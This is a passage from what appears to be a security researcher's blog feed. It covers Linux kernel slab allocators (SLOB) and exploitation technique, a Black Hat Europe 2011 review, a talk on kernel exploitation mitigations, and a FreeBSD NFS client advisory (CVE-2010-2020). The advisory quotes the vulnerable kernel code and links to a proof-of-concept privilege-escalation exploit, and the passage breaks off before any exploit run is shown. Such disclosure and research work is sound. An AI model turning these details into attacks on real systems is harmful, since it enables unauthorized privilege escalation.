can find an overview of the exploit and the technique.<\/p>\n\n<h3 id=\"slob\">SLOB<\/h3>\n\n<p>Finally, <a href=\"http:\/\/lxr.linux.no\/linux+v3.1.6\/mm\/slob.c\">SLOB<\/a> is a stripped down\nkernel allocator implementation designed for systems with limited amounts of\nmemory, for example embedded versions\/distributions of Linux. In fact its design\nis closer to traditional userland memory allocators rather than the slab\nallocators SLAB and SLUB. SLOB places all objects\/structures on pages arranged\nin three linked lists, for small, medium and large allocations. Small are the\nallocations of size less than <code class=\"language-plaintext highlighter-rouge\">SLOB_BREAK1<\/code> (256 bytes), medium those less than\n<code class=\"language-plaintext highlighter-rouge\">SLOB_BREAK2<\/code> (1024 bytes), and large are all the other allocations:<\/p>\n\n<figure class=\"highlight\"><pre><code class=\"language-c\" data-lang=\"c\"><span class=\"cp\">#define SLOB_BREAK1 256\n#define SLOB_BREAK2 1024\n<\/span><span class=\"k\">static<\/span> <span class=\"nf\">LIST_HEAD<\/span><span class=\"p\">(<\/span><span class=\"n\">free_slob_small<\/span><span class=\"p\">);<\/span>\n<span class=\"k\">static<\/span> <span class=\"nf\">LIST_HEAD<\/span><span class=\"p\">(<\/span><span class=\"n\">free_slob_medium<\/span><span class=\"p\">);<\/span>\n<span class=\"k\">static<\/span> <span class=\"nf\">LIST_HEAD<\/span><span class=\"p\">(<\/span><span class=\"n\">free_slob_large<\/span><span class=\"p\">);<\/span><\/code><\/pre><\/figure>\n\n<p>Of course this means that in SLOB we can have objects\/structures of\ndifferent types and sizes on the same page. This is the main difference between\nSLOB and SLAB\/SLUB. A SLOB page is defined as follows:<\/p>\n\n<figure class=\"highlight\"><pre><code class=\"language-c\" data-lang=\"c\"><span class=\"k\">struct<\/span> <span class=\"n\">slob_page<\/span>\n<span class=\"p\">{<\/span>\n    <span class=\"k\">union<\/span>\n    <span class=\"p\">{<\/span>\n        <span class=\"k\">struct<\/span>\n        <span class=\"p\">{<\/span>\n            <span class=\"kt\">unsigned<\/span> <span class=\"kt\">long<\/span> <span class=\"n\">flags<\/span><span class=\"p\">;<\/span>    <span class=\"cm\">\/* mandatory *\/<\/span>\n            <span class=\"n\">atomic_t<\/span> <span class=\"n\">_count<\/span><span class=\"p\">;<\/span>        <span class=\"cm\">\/* mandatory *\/<\/span>\n            <span class=\"n\">slobidx_t<\/span> <span class=\"n\">units<\/span><span class=\"p\">;<\/span>        <span class=\"cm\">\/* free units left in page *\/<\/span>\n            <span class=\"kt\">unsigned<\/span> <span class=\"kt\">long<\/span> <span class=\"n\">pad<\/span><span class=\"p\">[<\/span><span class=\"mi\">2<\/span><span class=\"p\">];<\/span>\n            <span class=\"n\">slob_t<\/span> <span class=\"o\">*<\/span><span class=\"n\">free<\/span><span class=\"p\">;<\/span>           <span class=\"cm\">\/* first free slob_t in page *\/<\/span>\n            <span class=\"k\">struct<\/span> <span class=\"n\">list_head<\/span> <span class=\"n\">list<\/span><span class=\"p\">;<\/span>  <span class=\"cm\">\/* linked list of free pages *\/<\/span>\n        <span class=\"p\">};<\/span>\n\n        <span class=\"k\">struct<\/span> <span class=\"n\">page<\/span> <span class=\"n\">page<\/span><span class=\"p\">;<\/span>\n    <span class=\"p\">};<\/span>\n<span class=\"p\">};<\/span><\/code><\/pre><\/figure>\n\n<p>The function <code class=\"language-plaintext highlighter-rouge\">slob_alloc()<\/code> is SLOB\u2019s main allocation routine\nand based on the requested size it walks the appropriate list trying to find if\na page of the list has enough room to accommodate the new object\/structure (the\nfull function is <a href=\"http:\/\/lxr.linux.no\/linux+v3.1.6\/mm\/slob.c#L321\">here<\/a>):<\/p>\n\n<figure class=\"highlight\"><pre><code class=\"language-c\" data-lang=\"c\"><span class=\"k\">static<\/span> <span class=\"kt\">void<\/span> <span class=\"o\">*<\/span><span class=\"nf\">slob_alloc<\/span><span class=\"p\">(<\/span><span class=\"kt\">size_t<\/span> <span class=\"n\">size<\/span><span class=\"p\">,<\/span> <span class=\"n\">gfp_t<\/span> <span class=\"n\">gfp<\/span><span class=\"p\">,<\/span> <span class=\"kt\">int<\/span> <span class=\"n\">align<\/span><span class=\"p\">,<\/span> <span class=\"kt\">int<\/span> <span class=\"n\">node<\/span><span class=\"p\">)<\/span>\n<span class=\"p\">{<\/span>\n    <span class=\"k\">struct<\/span> <span class=\"n\">slob_page<\/span> <span class=\"o\">*<\/span><span class=\"n\">sp<\/span><span class=\"p\">;<\/span>\n    <span class=\"k\">struct<\/span> <span class=\"n\">list_head<\/span> <span class=\"o\">*<\/span><span class=\"n\">prev<\/span><span class=\"p\">;<\/span>\n    <span class=\"k\">struct<\/span> <span class=\"n\">list_head<\/span> <span class=\"o\">*<\/span><span class=\"n\">slob_list<\/span><span class=\"p\">;<\/span>\n    <span class=\"n\">slob_t<\/span> <span class=\"o\">*<\/span><span class=\"n\">b<\/span> <span class=\"o\">=<\/span> <span class=\"nb\">NULL<\/span><span class=\"p\">;<\/span>\n    <span class=\"kt\">unsigned<\/span> <span class=\"kt\">long<\/span> <span class=\"n\">flags<\/span><span class=\"p\">;<\/span>\n\n    <span class=\"k\">if<\/span> <span class=\"p\">(<\/span><span class=\"n\">size<\/span> <span class=\"o\">&lt;<\/span> <span class=\"n\">SLOB_BREAK1<\/span><span class=\"p\">)<\/span>\n        <span class=\"n\">slob_list<\/span> <span class=\"o\">=<\/span> <span class=\"o\">&amp;<\/span><span class=\"n\">free_slob_small<\/span><span class=\"p\">;<\/span>\n    <span class=\"k\">else<\/span> <span class=\"k\">if<\/span> <span class=\"p\">(<\/span><span class=\"n\">size<\/span> <span class=\"o\">&lt;<\/span> <span class=\"n\">SLOB_BREAK2<\/span><span class=\"p\">)<\/span>\n        <span class=\"n\">slob_list<\/span> <span class=\"o\">=<\/span> <span class=\"o\">&amp;<\/span><span class=\"n\">free_slob_medium<\/span><span class=\"p\">;<\/span>\n    <span class=\"k\">else<\/span>\n        <span class=\"n\">slob_list<\/span> <span class=\"o\">=<\/span> <span class=\"o\">&amp;<\/span><span class=\"n\">free_slob_large<\/span><span class=\"p\">;<\/span>\n\n    <span class=\"p\">...<\/span>\n\n    <span class=\"n\">list_for_each_entry<\/span><span class=\"p\">(<\/span><span class=\"n\">sp<\/span><span class=\"p\">,<\/span> <span class=\"n\">slob_list<\/span><span class=\"p\">,<\/span> <span class=\"n\">list<\/span><span class=\"p\">)<\/span>\n    <span class=\"p\">{<\/span>\n        <span class=\"p\">...<\/span><\/code><\/pre><\/figure>\n\n<p>I think this is a good place to stop since I don\u2019t want to go\ninto too many details and because I really look forward to Dan Rosenberg\u2019s talk.<\/p>\n\n<p>Edit: Dan has published a whitepaper to accompany his talk with all\nthe details on SLOB exploitation; you can find it\n<a href=\"http:\/\/vsecurity.com\/download\/papers\/slob-exploitation.pdf\">here<\/a>.<\/p>\n\n<h3 id=\"notes\">Notes<\/h3>\n\n<p>Wrapping this post up, I would like to mention that there are other\nslab allocators proposed and implemented for Linux apart from the above three.\n<a href=\"http:\/\/thread.gmane.org\/gmane.linux.kernel\/780475\">SLQB<\/a> and\n<a href=\"http:\/\/thread.gmane.org\/gmane.linux.kernel.mm\/48394\/\">SLEB<\/a> come to mind,\nhowever <a href=\"http:\/\/thread.gmane.org\/gmane.linux.kernel.mm\/48515\">as the benevolent dictator has\nruled<\/a> they are not going\nto be included in the mainline Linux kernel tree until one of the existing three\nhas been removed.<\/p>\n\n<p>Exploitation techniques and methodologies like the ones I mentioned\nin this post can be very helpful when you have a vulnerability you\u2019re\ntrying to develop a reliable exploit for. However, you should keep in mind that\nevery vulnerability has its own set of requirements and conditions and\ntherefore every exploit is a different story\/learning experience. Understanding\na bug and actually developing an exploit for it are two very different things.<\/p>\n\n<p>Thanks to Dan for his comments.<\/p>\n\n<h3 id=\"references\">References<\/h3>\n\n<p>The following resources were not linked directly in the discussion,\nbut would be helpful in case you want to look more into the subject.<\/p>\n\n<ul>\n  <li><a href=\"http:\/\/lxr.linux.no\/linux+v3.1.6\/\">http:\/\/lxr.linux.no\/linux+v3.1.6\/<\/a><\/li>\n  <li><a href=\"http:\/\/lwn.net\/Articles\/229984\/\">http:\/\/lwn.net\/Articles\/229984\/<\/a><\/li>\n  <li><a href=\"http:\/\/lwn.net\/Articles\/311502\/\">http:\/\/lwn.net\/Articles\/311502\/<\/a><\/li>\n  <li><a href=\"http:\/\/lwn.net\/Articles\/229096\/\">http:\/\/lwn.net\/Articles\/229096\/<\/a><\/li>\n  <li><a href=\"http:\/\/phrack.org\/issues.html?issue=66&#038;id=15#article\">http:\/\/phrack.org\/issues.html?issue=66&#038;id=15#article<\/a><\/li>\n  <li><a href=\"http:\/\/phrack.org\/issues.html?issue=66&#038;id=8#article\">http:\/\/phrack.org\/issues.html?issue=66&#038;id=8#article<\/a><\/li>\n<\/ul>\n"},{"title":"May 2011 0day","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2011\/05\/24\/may-2011-0day\/"}},"updated":"2011-05-24T00:00:00+00:00","id":"https:\/\/argp.github.io\/2011\/05\/24\/may-2011-0day","content":"<blockquote>\n  <p>md5: bcaac03a882cb10ac7c01acdb36b6287<br \/>\nsha1: f653e2d13f97bc83b343ebc7d8e97d8890d8be8f<br \/>\nsha256: a76c77ba8f5b8f545f48de76b5613fa93c9f9a1eed2d691d6d8a6c01bf8f59bb<\/p>\n<\/blockquote>\n"},{"title":"Short Black Hat Europe 2011 review","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2011\/03\/21\/short-bheu2011-review\/"}},"updated":"2011-03-21T00:00:00+00:00","id":"https:\/\/argp.github.io\/2011\/03\/21\/short-bheu2011-review","content":"<p>I am not really the kind of person that writes conference reviews, but I will\ngive you a short, almost telegraphical one of <a href=\"https:\/\/www.blackhat.com\/html\/bh-eu-11\/bh-eu-11-home.html\">this year\u2019s Black Hat\nEurope<\/a>.<\/p>\n\n<h3 id=\"day-1\">Day 1<\/h3>\n\n<p>Contrary to conference tradition, day 1 begun without a keynote as Bruce\nSchneier was unable to be in Barcelona in the morning. The first talk I attended\nwas Nitesh Dhanjani\u2019s \u201cNew Age Attacks Against Apple\u2019s iOS\u201d. This talk mainly\nfocused on abusing mobile Safari\u2019s protocol handlers and, although well\ndelivered, wasn\u2019t that interesting to me. Next was Tom Keetch\u2019s \u201cEscaping From\nMicrosoft Windows Sandboxes\u201d in which Tom gave an overview of the Windows\nsandbox implementation, and explained how Internet Explorer, Google Chrome and\nAdobe Reader X use it. Furthermore, he presented mechanisms for bypassing the\nWindows sandbox both generically and specific to the above applications. I\nreally liked this talk and it is my second choice for best talk of day 1. Then I\npresented mine and Dimitris Glynos\u2019 \u201cProtecting the Core\u201d talk; I got some nice\nfeedback which we will incorporate in the updated version of the slide deck.\nNext was Mihai Chiriac\u2019s \u201cRootkit Detection via Kernel Code Tunneling\u201d, an\ninteresting approach for detecting kernel rootkits on Windows with lightweight\nheuristic analysis and interesting features for live-system disinfection. The\nfinal talk of the day was also the best one, Chris Valasek\u2019s and Ryan Smith\u2019s\n\u201cExploitation in the Modern Era\u201d. They successfully tried to abstract the\nprocess of exploitation into building blocks, or primitives according to the\nterminology they used in the talk, and how these building blocks were used\nduring the development of two server-side Windows exploits. Day 1 ended with\nBruce Schneier\u2019s keynote on cyber war incidents, how countries prepare (or not)\nfor it, and how cyber war will eventually and inevitably become part of all\nmilitary confrontations.<\/p>\n\n<h3 id=\"day-2\">Day 2<\/h3>\n\n<p>Day 2 started with an amazing talk, Sebastian Muniz\u2019s and Alfredo Ortega\u2019s\n\u201cFuzzing and Debugging Cisco IOS\u201d. These two highly talented and competent\nresearchers explained their setup and modifications to the Dynamips emulator for\ndebugging, reversing and fuzzing IOS. Then I went to Tom Parker\u2019s \u201cStuxnet\nRedux\u201d talk, but I left after 20 minutes or so since the talk was too abstract\nand non-technical for my taste. I was able to attend the last 30 minutes of\nGeorge Hedfors\u2019 \u201cOwning the data centre using Cisco NX-OS based switches\u201d.\nGeorge explained how he was able to break out of the restrictive shell of\nCisco\u2019s NX (which is Linux-based), as well as how the old CDP denial-of-service\nbug is unpatched on NX. FX\u2019s \u201cBuilding Custom Disassemblers\u201d was, as I expected,\nnothing short of brilliant. He documented step-by-step the process of building a\ncustom disassembler for the binary code of a certain Siemens microcontroller. At\nthe end of the talk he revealed that this was actually one of the\nmicrocontrollers that Stuxnet was carrying code to attack. To be honest, the\nStuxnet connection was not the interesting part of the talk (although it was\nfun). The insight on FX\u2019s work process, and his tips and approaches on reverse\nengineering were the most interesting parts for me. I then attended Don Bailey\u2019s\n\u201cAttacking Microcontroller Environments from a Software Perspective\u201d. Apart from\nthe investment tips, he also gave us exploitation methodologies for attacking\ntwo different microcontrollers, one of the von Neumann and one of the Harvard\narchitecture. The day ended with Vincenzo Iozzo\u2019s \u201cMac Exploit Kitchen\u201d workshop\nwhich was great fun.<\/p>\n\n<p>In closing I would say that when compared to\n<a href=\"https:\/\/argp.github.io\/2010\/04\/22\/blackhat-eu-2010-update\/\">2010<\/a>, this year\u2019s\nBlack Hat Europe had more interesting (to me) talks. It was my second Black Hat\nEurope as a presenter in a row and it was great meeting new people as well as\nseeing those I met last year.<\/p>\n\n<p>In between the technical sessions and after them I partied non-stop. The\npartying was hot.<\/p>\n\n<p>Yes, I am being sarcastic. I am a nerd. I don\u2019t go out much actually.<\/p>\n"},{"title":"Protecting the Core - Black Hat Europe 2011","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2011\/02\/27\/blackhat-eu-2011\/"}},"updated":"2011-02-27T00:00:00+00:00","id":"https:\/\/argp.github.io\/2011\/02\/27\/blackhat-eu-2011","content":"<p>In about three weeks I will be presenting <a href=\"https:\/\/www.blackhat.com\/html\/bh-eu-11\/bh-eu-11-briefings.html#Argyroudis\">\u201cProtecting the Core: Kernel\nExploitation Mitigations\u201d<\/a>\nat <a href=\"https:\/\/www.blackhat.com\/html\/bh-eu-11\/bh-eu-11-home.html\">Black Hat Europe 2011<\/a>\nin Barcelona, Spain. This is joined work with Dimitris Glynos at\n<a href=\"http:\/\/census-labs.com\/\">CENSUS S.A.<\/a> Our abstract follows:<\/p>\n\n<blockquote>\n  <p>The exploitation of operating system kernel vulnerabilities has received a\ngreat deal of attention lately. In userland most generic exploitation\napproaches have been defeated by countermeasure technologies. Contrary to\nuserland protections, exploitation mitigation mechanisms for kernel memory\ncorruptions have not been widely adopted. Recently this has started to change.\nMost operating system kernels have started to include countermeasures against\nNULL page mappings, stack and heap corruptions, as well as for other\nvulnerability classes. At the same time, researchers have concentrated on\ndeveloping ways to bypass certain kernel protections on various operating\nsystems. This presentation will describe in detail the state-of-the-art in\nkernel exploitation mitigations adopted (or not) by various operating systems\n(Windows, Linux, Mac OS X, FreeBSD) and mobile platforms (iOS, Android).\nMoreover, it will also provide approaches, notes, hints and references to\nexisting work for bypassing some of these kernel protections.<\/p>\n<\/blockquote>\n\n<p>This talk basically collects our joined experiences in dealing with and\nresearching kernel exploitation mitigations during kernel exploit development on\nvarious operating systems. Unfortunately Dimitris will not be able to travel to\nBarcelona, so I will present the talk alone. You can\n<a href=\"http:\/\/twitter.com\/_argp\">follow me<\/a> on Twitter to get updates relevant to our\ntalk and our research in general. I am really looking forward to travel to\nBarcelona (<a href=\"https:\/\/argp.github.io\/2010\/04\/22\/blackhat-eu-2010-update\/\">again<\/a>)\nand meet all the great people participating in Black Hat.<\/p>\n\n<p>The title of our talk (Protecting the Core: Kernel Exploitation Mitigations) is,\nof course, a wordplay on the <a href=\"http:\/\/www.phrack.org\/\">Phrack<\/a> article\n<a href=\"http:\/\/www.phrack.org\/issues\/64\/6.html#article\">\u201cAttacking the Core: Kernel Exploiting\nNotes\u201d<\/a> by twiz and sgrakkyu.\nTheir article focused on kernel attacks, while our talk focuses on the kernel\ndefenses employed by popular operating systems. twiz and sgrakkyu have also\nwritten a highly recommended book on the attack side of things which greatly\nexpands on their Phrack article, namely <a href=\"http:\/\/www.amazon.com\/gp\/product\/1597494860\/ref=as_li_ss_tl?ie=UTF8&amp;tag=oss042-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=1597494860\">A Guide to Kernel Exploitation:\nAttacking the Core<\/a>.<\/p>\n"},{"title":"Advisory: FreeBSD kernel NFS client local vulnerabilities","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2010\/05\/23\/freebsd-kernel-nfsclient\/"}},"updated":"2010-05-23T00:00:00+00:00","id":"https:\/\/argp.github.io\/2010\/05\/23\/freebsd-kernel-nfsclient","content":"<p><em>Note: The original advisory can be found\n<a href=\"http:\/\/census-labs.com\/news\/2010\/05\/23\/freebsd-kernel-nfsclient\/\">here<\/a>.<\/em><\/p>\n\n<table>\n  <tbody>\n    <tr>\n      <td>CENSUS ID:<\/td>\n      <td>CENSUS-2010-0001<\/td>\n    <\/tr>\n    <tr>\n      <td>CVE ID:<\/td>\n      <td><a href=\"http:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2010-2020\">CVE-2010-2020<\/a><\/td>\n    <\/tr>\n    <tr>\n      <td>Affected products:<\/td>\n      <td>FreeBSD 8.0-RELEASE, 7.3-RELEASE, 7.2-RELEASE<\/td>\n    <\/tr>\n    <tr>\n      <td>Class:<\/td>\n      <td>Improper Input Validation (<a href=\"http:\/\/cwe.mitre.org\/data\/definitions\/20.html\">CWE-20<\/a>)<\/td>\n    <\/tr>\n    <tr>\n      <td>Remote:<\/td>\n      <td>No<\/td>\n    <\/tr>\n    <tr>\n      <td>Discovered by:<\/td>\n      <td>Patroklos Argyroudis<\/td>\n    <\/tr>\n  <\/tbody>\n<\/table>\n\n<p>We have discovered two improper input validation vulnerabilities in the FreeBSD\nkernel\u2019s NFS client-side implementation (FreeBSD 8.0-RELEASE, 7.3-RELEASE\nand 7.2-RELEASE) that allow local unprivileged users to escalate their\nprivileges, or to crash the system by performing a denial of service attack.<\/p>\n\n<h3 id=\"details\">Details<\/h3>\n\n<p><a href=\"https:\/\/www.freebsd.org\/\">FreeBSD<\/a> is an advanced operating system which\nfocuses on reliability and performance. More information about its features\ncan be found <a href=\"https:\/\/www.freebsd.org\/about.html\">here<\/a>.<\/p>\n\n<p>FreeBSD 8.0-RELEASE, 7.3-RELEASE and 7.2-RELEASE employ an improper input \nvalidation method in the kernel\u2019s NFS client-side implementation. Specifically,\nthe first vulnerability is in function <code class=\"language-plaintext highlighter-rouge\">nfs_mount()<\/code> (file\n<code class=\"language-plaintext highlighter-rouge\">src\/sys\/nfsclient\/nfs_vfsops.c<\/code>) which is reachable from the <code class=\"language-plaintext highlighter-rouge\">mount(2)<\/code> and \n<code class=\"language-plaintext highlighter-rouge\">nmount(2)<\/code> system calls. In order for them to be enabled for unprivileged \nusers the <code class=\"language-plaintext highlighter-rouge\">sysctl(8)<\/code> variable <code class=\"language-plaintext highlighter-rouge\">vfs.usermount<\/code> must be set to a non-zero value.<\/p>\n\n<p>The function <code class=\"language-plaintext highlighter-rouge\">nfs_mount()<\/code> employs an insufficient input validation method for \ncopying data passed in a structure of type <code class=\"language-plaintext highlighter-rouge\">nfs_args<\/code> from userspace to kernel. \nSpecifically, the file handle buffer to be mounted (<code class=\"language-plaintext highlighter-rouge\">args.fh<\/code>) and its size \n(<code class=\"language-plaintext highlighter-rouge\">args.fhsize<\/code>) are completely user-controllable. The unbounded copy operation \nis in file <code class=\"language-plaintext highlighter-rouge\">src\/sys\/nfsclient\/nfs_vfsops.c<\/code> (the excerpts are from 8.0-RELEASE):<\/p>\n\n<figure class=\"highlight\"><pre><code class=\"language-c\" data-lang=\"c\"><span class=\"mi\">1094<\/span><span class=\"o\">:<\/span>      <span class=\"k\">if<\/span> <span class=\"p\">(<\/span><span class=\"o\">!<\/span><span class=\"n\">has_fh_opt<\/span><span class=\"p\">)<\/span> <span class=\"p\">{<\/span>\n<span class=\"mi\">1095<\/span><span class=\"o\">:<\/span>            <span class=\"n\">error<\/span> <span class=\"o\">=<\/span> <span class=\"n\">copyin<\/span><span class=\"p\">((<\/span><span class=\"n\">caddr_t<\/span><span class=\"p\">)<\/span><span class=\"n\">args<\/span><span class=\"p\">.<\/span><span class=\"n\">fh<\/span><span class=\"p\">,<\/span> <span class=\"p\">(<\/span><span class=\"n\">caddr_t<\/span><span class=\"p\">)<\/span><span class=\"n\">nfh<\/span><span class=\"p\">,<\/span>\n<span class=\"mi\">1096<\/span><span class=\"o\">:<\/span>                 <span class=\"n\">args<\/span><span class=\"p\">.<\/span><span class=\"n\">fhsize<\/span><span class=\"p\">);<\/span>\n<span class=\"mi\">1097<\/span><span class=\"o\">:<\/span>          <span class=\"k\">if<\/span> <span class=\"p\">(<\/span><span class=\"n\">error<\/span><span class=\"p\">)<\/span> <span class=\"p\">{<\/span>\n<span class=\"mi\">1098<\/span><span class=\"o\">:<\/span>               <span class=\"k\">goto<\/span> <span class=\"n\">out<\/span><span class=\"p\">;<\/span>\n<span class=\"mi\">1099<\/span><span class=\"o\">:<\/span>            <span class=\"p\">}<\/span><\/code><\/pre><\/figure>\n\n<p>The declaration of the variables <code class=\"language-plaintext highlighter-rouge\">args<\/code> and <code class=\"language-plaintext highlighter-rouge\">nfh<\/code> is at:<\/p>\n\n<figure class=\"highlight\"><pre><code class=\"language-c\" data-lang=\"c\"><span class=\"mi\">786<\/span><span class=\"o\">:<\/span> <span class=\"k\">static<\/span> <span class=\"kt\">int<\/span>\n<span class=\"mi\">787<\/span><span class=\"o\">:<\/span> <span class=\"n\">nfs_mount<\/span><span class=\"p\">(<\/span><span class=\"k\">struct<\/span> <span class=\"n\">mount<\/span> <span class=\"o\">*<\/span><span class=\"n\">mp<\/span><span class=\"p\">)<\/span>\n<span class=\"mi\">788<\/span><span class=\"o\">:<\/span> <span class=\"p\">{<\/span>\n<span class=\"mi\">789<\/span><span class=\"o\">:<\/span>         <span class=\"k\">struct<\/span> <span class=\"n\">nfs_args<\/span> <span class=\"n\">args<\/span> <span class=\"o\">=<\/span> <span class=\"p\">{<\/span>\n<span class=\"mi\">790<\/span><span class=\"o\">:<\/span>             <span class=\"p\">.<\/span><span class=\"n\">version<\/span> <span class=\"o\">=<\/span> <span class=\"n\">NFS_ARGSVERSION<\/span><span class=\"p\">,<\/span>\n<span class=\"mi\">791<\/span><span class=\"o\">:<\/span>             <span class=\"p\">.<\/span><span class=\"n\">addr<\/span> <span class=\"o\">=<\/span> <span class=\"nb\">NULL<\/span><span class=\"p\">,<\/span>\n<span class=\"mi\">792<\/span><span class=\"o\">:<\/span>             <span class=\"p\">.<\/span><span class=\"n\">addrlen<\/span> <span class=\"o\">=<\/span> <span class=\"k\">sizeof<\/span> <span class=\"p\">(<\/span><span class=\"k\">struct<\/span> <span class=\"n\">sockaddr_in<\/span><span class=\"p\">),<\/span>\n<span class=\"mi\">793<\/span><span class=\"o\">:<\/span>             <span class=\"p\">.<\/span><span class=\"n\">sotype<\/span> <span class=\"o\">=<\/span> <span class=\"n\">SOCK_STREAM<\/span><span class=\"p\">,<\/span>\n<span class=\"mi\">794<\/span><span class=\"o\">:<\/span>             <span class=\"p\">.<\/span><span class=\"n\">proto<\/span> <span class=\"o\">=<\/span> <span class=\"mi\">0<\/span><span class=\"p\">,<\/span>\n<span class=\"mi\">795<\/span><span class=\"o\">:<\/span>             <span class=\"p\">.<\/span><span class=\"n\">fh<\/span> <span class=\"o\">=<\/span> <span class=\"nb\">NULL<\/span><span class=\"p\">,<\/span>\n<span class=\"mi\">796<\/span><span class=\"o\">:<\/span>             <span class=\"p\">.<\/span><span class=\"n\">fhsize<\/span> <span class=\"o\">=<\/span> <span class=\"mi\">0<\/span><span class=\"p\">,<\/span>\n<span class=\"mi\">797<\/span><span class=\"o\">:<\/span>             <span class=\"p\">.<\/span><span class=\"n\">flags<\/span> <span class=\"o\">=<\/span> <span class=\"n\">NFSMNT_RESVPORT<\/span><span class=\"p\">,<\/span>\n<span class=\"mi\">798<\/span><span class=\"o\">:<\/span>             <span class=\"p\">.<\/span><span class=\"n\">wsize<\/span> <span class=\"o\">=<\/span> <span class=\"n\">NFS_WSIZE<\/span><span class=\"p\">,<\/span>\n<span class=\"mi\">799<\/span><span class=\"o\">:<\/span>             <span class=\"p\">.<\/span><span class=\"n\">rsize<\/span> <span class=\"o\">=<\/span> <span class=\"n\">NFS_RSIZE<\/span><span class=\"p\">,<\/span>\n<span class=\"mi\">800<\/span><span class=\"o\">:<\/span>             <span class=\"p\">.<\/span><span class=\"n\">readdirsize<\/span> <span class=\"o\">=<\/span> <span class=\"n\">NFS_READDIRSIZE<\/span><span class=\"p\">,<\/span>\n<span class=\"mi\">801<\/span><span class=\"o\">:<\/span>             <span class=\"p\">.<\/span><span class=\"n\">timeo<\/span> <span class=\"o\">=<\/span> <span class=\"mi\">10<\/span><span class=\"p\">,<\/span>\n<span class=\"mi\">802<\/span><span class=\"o\">:<\/span>             <span class=\"p\">.<\/span><span class=\"n\">retrans<\/span> <span class=\"o\">=<\/span> <span class=\"n\">NFS_RETRANS<\/span><span class=\"p\">,<\/span>\n<span class=\"mi\">803<\/span><span class=\"o\">:<\/span>             <span class=\"p\">.<\/span><span class=\"n\">maxgrouplist<\/span> <span class=\"o\">=<\/span> <span class=\"n\">NFS_MAXGRPS<\/span><span class=\"p\">,<\/span>\n<span class=\"mi\">804<\/span><span class=\"o\">:<\/span>             <span class=\"p\">.<\/span><span class=\"n\">readahead<\/span> <span class=\"o\">=<\/span> <span class=\"n\">NFS_DEFRAHEAD<\/span><span class=\"p\">,<\/span>\n<span class=\"mi\">805<\/span><span class=\"o\">:<\/span>             <span class=\"p\">.<\/span><span class=\"n\">wcommitsize<\/span> <span class=\"o\">=<\/span> <span class=\"mi\">0<\/span><span class=\"p\">,<\/span>                   <span class=\"cm\">\/* was: NQ_DEFLEASE *\/<\/span>\n<span class=\"mi\">806<\/span><span class=\"o\">:<\/span>             <span class=\"p\">.<\/span><span class=\"n\">deadthresh<\/span> <span class=\"o\">=<\/span> <span class=\"n\">NFS_MAXDEADTHRESH<\/span><span class=\"p\">,<\/span>    <span class=\"cm\">\/* was: NQ_DEADTHRESH *\/<\/span>\n<span class=\"mi\">807<\/span><span class=\"o\">:<\/span>             <span class=\"p\">.<\/span><span class=\"n\">hostname<\/span> <span class=\"o\">=<\/span> <span class=\"nb\">NULL<\/span><span class=\"p\">,<\/span>\n<span class=\"mi\">808<\/span><span class=\"o\">:<\/span>             <span class=\"cm\">\/* args version 4 *\/<\/span>\n<span class=\"mi\">809<\/span><span class=\"o\">:<\/span>             <span class=\"p\">.<\/span><span class=\"n\">acregmin<\/span> <span class=\"o\">=<\/span> <span class=\"n\">NFS_MINATTRTIMO<\/span><span class=\"p\">,<\/span>\n<span class=\"mi\">810<\/span><span class=\"o\">:<\/span>             <span class=\"p\">.<\/span><span class=\"n\">acregmax<\/span> <span class=\"o\">=<\/span> <span class=\"n\">NFS_MAXATTRTIMO<\/span><span class=\"p\">,<\/span>\n<span class=\"mi\">811<\/span><span class=\"o\">:<\/span>             <span class=\"p\">.<\/span><span class=\"n\">acdirmin<\/span> <span class=\"o\">=<\/span> <span class=\"n\">NFS_MINDIRATTRTIMO<\/span><span class=\"p\">,<\/span>\n<span class=\"mi\">812<\/span><span class=\"o\">:<\/span>             <span class=\"p\">.<\/span><span class=\"n\">acdirmax<\/span> <span class=\"o\">=<\/span> <span class=\"n\">NFS_MAXDIRATTRTIMO<\/span><span class=\"p\">,<\/span>\n<span class=\"mi\">813<\/span><span class=\"o\">:<\/span>         <span class=\"p\">};<\/span>\n<span class=\"mi\">814<\/span><span class=\"o\">:<\/span>         <span class=\"kt\">int<\/span> <span class=\"n\">error<\/span><span class=\"p\">,<\/span> <span class=\"n\">ret<\/span><span class=\"p\">,<\/span> <span class=\"n\">has_nfs_args_opt<\/span><span class=\"p\">;<\/span>\n<span class=\"mi\">815<\/span><span class=\"o\">:<\/span>         <span class=\"kt\">int<\/span> <span class=\"n\">has_addr_opt<\/span><span class=\"p\">,<\/span> <span class=\"n\">has_fh_opt<\/span><span class=\"p\">,<\/span> <span class=\"n\">has_hostname_opt<\/span><span class=\"p\">;<\/span>\n<span class=\"mi\">816<\/span><span class=\"o\">:<\/span>         <span class=\"k\">struct<\/span> <span class=\"n\">sockaddr<\/span> <span class=\"o\">*<\/span><span class=\"n\">nam<\/span><span class=\"p\">;<\/span>\n<span class=\"mi\">817<\/span><span class=\"o\">:<\/span>         <span class=\"k\">struct<\/span> <span class=\"n\">vnode<\/span> <span class=\"o\">*<\/span><span class=\"n\">vp<\/span><span class=\"p\">;<\/span>\n<span class=\"mi\">818<\/span><span class=\"o\">:<\/span>         <span class=\"kt\">char<\/span> <span class=\"n\">hst<\/span><span class=\"p\">[<\/span><span class=\"n\">MNAMELEN<\/span><span class=\"p\">];<\/span>\n<span class=\"mi\">819<\/span><span class=\"o\">:<\/span>         <span class=\"kt\">size_t<\/span> <span class=\"n\">len<\/span><span class=\"p\">;<\/span>\n<span class=\"mi\">820<\/span><span class=\"o\">:<\/span>         <span class=\"n\">u_char<\/span> <span class=\"n\">nfh<\/span><span class=\"p\">[<\/span><span class=\"n\">NFSX_V3FHMAX<\/span><span class=\"p\">];<\/span><\/code><\/pre><\/figure>\n\n<p>This vulnerability can cause a kernel stack overflow which leads to privilege\nescalation on FreeBSD 7.3-RELEASE and 7.2-RELEASE. On FreeBSD 8.0-RELEASE the\nresult is a kernel crash\/denial of service due to the SSP\/ProPolice kernel\nstack-smashing protection which is enabled by default. Versions 7.1-RELEASE and\nearlier do not appear to be vulnerable since the bug was introduced in\n7.2-RELEASE. In order to demonstrate the impact of the vulnerability we have\ndeveloped a <a href=\"http:\/\/census-labs.com\/media\/nfs_mount_ex.c\">proof-of-concept privilege escalation\nexploit<\/a>. A sample run of the\nexploit 